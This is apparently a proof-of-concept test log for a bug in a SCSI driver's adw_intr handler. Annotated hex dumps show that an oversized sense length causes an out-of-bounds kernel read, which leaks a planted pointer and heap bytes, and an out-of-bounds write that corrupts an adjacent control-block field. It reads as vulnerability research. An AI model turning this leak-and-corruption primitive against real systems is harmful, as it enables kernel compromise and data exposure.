===DF-2416: production adw_intr, CHECK_COND, sense_len=255===
dfadw: dispatching PRODUCTION adw_intr with scsi_status=CHECK_COND sense_len=255 (buffers are 32 bytes on both ends; firmware-side clamped to 32)
dfadw: pre-copy ccb fields: sense_resid=0x77 cdb_len=0x5a
dfadw: ccb.sense_data before[+236..+299]:0000...00ff5a0000007700...00df0ad0b
dfadw: adw_intr returned; ccb status=0xcc AUTOSNS=1
dfadw: ccb.sense_data after [+236..+299]:
   eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee  <- 32x in-bounds 0xEE fill
   4847464544204241                                              <- OOB READ: acb->links.sle_next = 0x4142434445464748 (planted kernel-pointer value read from PAST the 32-byte acb->sense_data)
   6d6d6d6d6d6d6d6d6d6d6d6d6d6d6d6d6d6d6d6d6d6d6d                  <- post-acb heap canary 0x6d (further OOB read)
dfadw: post-copy ccb fields: sense_resid=0x20 cdb_len=0x47 (corrupted = OOB write past sense_data)
   -> cdb_len was 0x5A before, 0x47 after: the byte 'G' (0x47) of the
   leaked pointer OVERWROTE the CCB field past csio.sense_data -- the
   OOB WRITE side, with acb-tail (attacker-influenced) content.
Guest alive (structured corruption, no fault) -- info-leak + corruption
primitive exactly as claimed.